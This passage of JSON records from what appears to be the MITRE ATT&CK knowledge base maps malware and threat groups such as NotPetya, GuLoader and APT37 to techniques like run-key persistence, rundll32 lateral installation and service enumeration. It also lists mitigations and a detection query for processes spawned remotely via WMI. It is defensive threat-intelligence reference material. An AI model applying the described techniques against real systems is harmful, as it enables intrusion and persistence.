Golden Ticket Protection)", "source_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CERT-EU Golden Ticket Protection", "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfd96c56-d86a-4421-a9e0-6116ac941caf", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor for newly constructed processes to match an existing service executables. ", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfda1087-90e8-46f3-9751-06e2140f2f2c", "type": "relationship", "created": "2021-08-23T19:38:33.523Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Arxiv Avaddon Feb 2021", "url": "https://arxiv.org/pdf/2102.04796.pdf", "description": "Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}], "modified": "2021-08-23T19:38:33.523Z", "description": "[Avaddon](https://attack.mitre.org/software/S0640) uses registry run keys for persistence.(Citation: Arxiv Avaddon Feb 2021)", "relationship_type": "uses", "source_ref": "malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--cfdd9ee1-119f-4071-8498-02bb568fc778", "created": "2022-08-16T15:38:21.271Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes SideCopy Dec 2021", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure", "description": "Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SideCopy](https://attack.mitre.org/groups/G1008) has crafted generic lures for spam campaigns to collect emails and credentials for targeting efforts.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-16T15:38:21.271Z", "relationship_type": "uses", "source_ref": "intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710", "target_ref": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfde6757-e167-4792-a7ba-f40520f7d136", "type": "relationship", "created": "2019-03-26T16:19:52.409Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Nyetya June 2017", "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."}], "modified": "2019-04-24T20:02:45.124Z", "description": "[NotPetya](https://attack.mitre.org/software/S0368) uses <code>rundll32.exe</code> to install itself on remote systems when accessed via [PsExec](https://attack.mitre.org/software/S0029) or <code>wmic</code>.(Citation: Talos Nyetya June 2017)", "relationship_type": "uses", "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfe2a359-bbab-4520-bdd7-b2d6abf742cc", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "XAgentOSX 2017", "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}, {"source_name": "Symantec APT28 Oct 2018", "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government", "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018."}, {"source_name": "US District Court Indictment GRU Oct 2018", "url": "https://www.justice.gov/opa/page/file/1098481/download", "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."}], "modified": "2020-10-01T18:55:45.528Z", "description": "(Citation: XAgentOSX 2017)(Citation: Symantec APT28 Oct 2018)(Citation: US District Court Indictment GRU Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfed60a3-c288-4c12-bfe2-2c0234a3cfa7", "type": "relationship", "created": "2021-08-18T18:25:08.460Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"}], "modified": "2021-09-08T19:22:44.743Z", "description": "[SynAck](https://attack.mitre.org/software/S0242) lists all the keyboard layouts installed on the victim\u2019s system using <code>GetKeyboardLayoutList</code> API and checks against a hardcoded language code list. If a match if found, SynAck sleeps for 300 seconds and then exits without encrypting files.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018) ", "relationship_type": "uses", "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cff191ef-39ba-4126-b039-12a7fe327665", "type": "relationship", "created": "2020-03-17T02:36:01.188Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 SilverTerrier 2018", "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise", "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018."}], "modified": "2020-03-17T02:36:01.188Z", "description": "[SilverTerrier](https://attack.mitre.org/groups/G0083) uses FTP for C2 communications.(Citation: Unit42 SilverTerrier 2018)\t", "relationship_type": "uses", "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cff34686-cbdf-4e0b-8108-c2deaf8855a7", "created": "2020-02-20T17:21:04.878Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Common Conditional Access Policies", "description": "Microsoft. (2022, December 14). Conditional Access templates. Retrieved February 21, 2023.", "url": "https://learn.microsoft.com/en-us/azure/active-directory/conditional-access/concept-conditional-access-policy-common"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-21T20:24:38.893Z", "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out. Use conditional access policies to block logins from non-compliant devices or from outside defined organization IP ranges.(Citation: Microsoft Common Conditional Access Policies)", "relationship_type": "mitigates", "source_ref": "course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c", "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cff64310-fe63-44ad-9791-d1b4b50f0229", "created": "2022-07-01T20:26:53.275Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-02T18:58:18.750Z", "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) has sent spearphishing emails to potential targets that contained a malicious link.(Citation: TrendMicro EarthLusca 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cff7d7e5-a279-4499-9b03-0cb47ac6b25c", "type": "relationship", "created": "2019-01-29T21:47:53.754Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Radware Micropsia July 2018", "url": "https://blog.radware.com/security/2018/07/micropsia-malware/", "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."}], "modified": "2019-04-17T22:05:05.861Z", "description": "[Micropsia](https://attack.mitre.org/software/S0339) can perform microphone recording.(Citation: Radware Micropsia July 2018)", "relationship_type": "uses", "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cff83f53-0e10-4e98-9e2e-2a4b7d027d70", "type": "relationship", "created": "2020-11-18T21:34:08.688Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Bazar July 2020", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}, {"source_name": "NCC Group Team9 June 2020", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}], "modified": "2020-12-01T14:09:06.741Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can create a scheduled task for persistence.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cff9e6c6-eb2d-431d-958c-d86ffe6ea98d", "type": "relationship", "created": "2019-11-07T20:06:03.069Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SensePost Outlook Forms", "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/", "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019."}, {"source_name": "SensePost Outlook Home Page", "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/", "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019."}], "modified": "2021-08-16T21:29:19.959Z", "description": "For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)", "relationship_type": "mitigates", "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cffbdd23-bf18-4bb9-bd50-dc74b69784e2", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "source_name": "FireEye Periscope March 2018"}], "modified": "2019-04-22T23:25:33.607Z", "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about shares on remote hosts.(Citation: FireEye Periscope March 2018)", "relationship_type": "uses", "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cfff835f-4c2b-4c90-b316-3807796269fc", "type": "relationship", "created": "2020-08-11T21:15:35.490Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 RDAT July 2020", "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}], "modified": "2020-08-11T21:46:03.607Z", "description": "[RDAT](https://attack.mitre.org/software/S0495) can exfiltrate data gathered from the infected system via the established Exchange Web Services API C2 channel.(Citation: Unit42 RDAT July 2020)", "relationship_type": "uses", "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d0013f9d-4243-4ade-8d06-a2cd6158ca58", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FIN7 April 2017", "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can delete a specified file.(Citation: FireEye FIN7 April 2017)", "relationship_type": "uses", "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d0061edc-becf-4ce9-ae91-5e1816d4a894", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}, {"url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", "source_name": "Talos Group123"}, {"source_name": "Securelist ScarCruft May 2019", "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."}], "modified": "2019-09-09T19:12:32.656Z", "description": "[APT37](https://attack.mitre.org/groups/G0067) delivers malware using spearphishing emails with malicious HWP attachments.(Citation: FireEye APT37 Feb 2018)(Citation: Talos Group123)(Citation: Securelist ScarCruft May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d0076185-9619-4365-b74a-44f52cc92c79", "type": "relationship", "created": "2021-03-01T20:30:53.258Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AppleJeus Feb 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."}], "modified": "2021-03-01T20:30:53.258Z", "description": "(Citation: CISA AppleJeus Feb 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d009f8e4-3978-483c-ad56-09d9f3734562", "created": "2023-08-11T20:20:06.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T17:55:36.768Z", "description": "Monitor for the creation of WMI Win32_Process class and method Create to interact with a remote network share using Server Message Block (SMB). Relevant indicators detected by Bro/Zeek is IWbemServices::ExecMethod or IWbemServices::ExecMethodAsync. One thing to notice is that when the Create method is used on a remote system, the method is run under a host process named \u201cWmiprvse.exe\u201d.\n\nThe process WmiprvSE.exe is what spawns the process defined in the CommandLine parameter of the Create method. Therefore, the new process created remotely will have Wmiprvse.exe as a parent. WmiprvSE.exe is a DCOM server and it is spawned underneath the DCOM service host svchost.exe with the following parameters C:\\WINDOWS\\system32\\svchost.exe -k DcomLaunch -p. From a logon session perspective, on the target, WmiprvSE.exe is spawned in a different logon session by the DCOM service host. However, whatever is executed by WmiprvSE.exe occurs on the new network type (3) logon session created by the user that authenticated from the network.\n\nAnalytic 1 - Basic\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND ParentImage=\"*wmiprvse.exe\" AND TargetLogonID=\"0x3e7\"</code>\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d012dd66-fef4-4714-bb00-55d9dd2861a1", "type": "relationship", "created": "2019-01-29T19:55:48.191Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}], "modified": "2019-07-26T16:10:42.508Z", "description": "[Epic](https://attack.mitre.org/software/S0091) uses the <code>tasklist /svc</code> command to list the services on the system.(Citation: Kaspersky Turla)", "relationship_type": "uses", "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d013882b-1092-46e4-8c07-f74e5ca2df97", "type": "relationship", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.872Z", "description": "Monitor for files that write or overwrite many files to a network shared directory may be suspicious.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d0144271-c8e4-4cb3-b977-17b750c7193d", "created": "2023-03-31T19:19:18.008Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cybereason Royal December 2022", "description": "Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. 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(n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. 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(2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}], "modified": "2021-02-08T23:18:31.892Z", "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can enumerate existing Windows services on the host that are configured to run as LocalSystem.(Citation: Crowdstrike Indrik November 2018)", "relationship_type": "uses", "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d01869cb-74bb-4ad9-ac5e-9c7706f323d1", "type": "relationship", "created": "2020-03-19T22:38:12.955Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. 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Retrieved November 12, 2014.", "source_name": "Kaspersky Darkhotel"}], "modified": "2020-03-16T20:05:43.636Z", "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has been known to establish persistence by adding programs to the Run Registry key.(Citation: Kaspersky Darkhotel)", "relationship_type": "uses", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d0228817-aba0-46c8-9449-de757f9238ac", "type": "relationship", "created": "2022-03-26T03:47:59.077Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mythc Documentation", "url": "https://docs.mythic-c2.net/", "description": "Thomas, C. (n.d.). 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Retrieved January 7, 2021."}], "modified": "2021-01-11T21:08:24.809Z", "description": "[GuLoader](https://attack.mitre.org/software/S0561) can establish persistence via the Registry under <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>.(Citation: Unit 42 NETWIRE April 2020)", "relationship_type": "uses", "source_ref": "malware--45c759ac-b490-48bb-80d4-c8eee3431027", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d02e8b78-69e7-4c70-bab1-a5bec9f94a9a", "created": "2022-03-25T20:00:53.876Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ESET Hermetic Wizard March 2022", "url": "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine", "description": "ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}, {"source_name": "Crowdstrike DriveSlayer February 2022", "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to overwrite its own file with random bites.(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wizard March 2022)", "modified": "2022-04-15T01:40:04.285Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d0327dce-ca02-48ba-8830-85fcc574113c", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee GhostSecret", "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"}], "modified": "2019-09-09T19:15:45.223Z", "description": "A 